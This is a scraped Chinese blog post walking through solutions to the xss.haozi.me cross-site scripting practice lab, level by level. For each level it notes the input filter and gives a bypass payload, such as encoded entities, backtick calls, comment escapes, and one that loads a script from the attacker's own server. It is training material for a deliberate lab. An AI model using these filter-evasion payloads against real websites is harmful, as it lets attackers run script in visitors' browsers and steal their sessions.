zoukankan      html  css  js  c++  java
  • xss.haozi靶机


    X00

    <script>alert(1)</script>


    X01

    </textarea><script>alert(1)</script><textarea>

    X02

    "><script>alert(1)</script><"

    X03

    将()替换成空字符

    <script>alert`1`</script>

    使用反引号

    X04

    ()和反引号都过滤

    <svg><script>alert(1)</script>        进行html编码   <svg><script>alert&#40;1&#41;</script>

    X05

    -->替换成了笑脸

    --!><script>alert(1)</script><--

    X06

    匹配auto和on开头加=的数据,>符号,替换为_

    在等号前换行

    onmousedown

    =alert(1)

    X07

    过滤以<开头 以>结尾的字符串

    <img src=1 onerror="alert(1)"

    X08

    </style ><script>alert(1)</script><style>

    X09

    https://www.segmentfault.com

    https://www.segmentfault.com"></script><script>alert(1)//

    X0A

    https://www.segmentfault.com@xss.haozi.me/j.js

    https://www.segmentfault.com@vps地址/xss.js

    X0B

    将输⼊的字符串转换成⼤写

    <svg onload=alert(1)>

    html编码

    <svg onload=&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;>

    X0c

    <svg onload=&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;>

    X0d

    //只能注释单行,利⽤换⾏逃逸注释,利⽤html的"-->"注释掉后⾯字符

    换行

    alert(1)

    -->

    X0e

    未解决出来

    X0f


     

    ');alert(1)//


     

    X10

    alert(1)

    X11

    ");alert(1)//

    x12

    将双引号进行了转义

    ");alert(1)//



  • 相关阅读:
    CCF 201712-4
    图论_最短路径
    图论_查并集
    let和const
    Promise
    实现表单label两端对齐
    始终让footer在底部
    react——使用this.setState({ })修改state状态值
    react——css样式
    react脚手架
  • 原文地址:https://www.cnblogs.com/bingtang123/p/13300413.html
Copyright © 2011-2022 走看看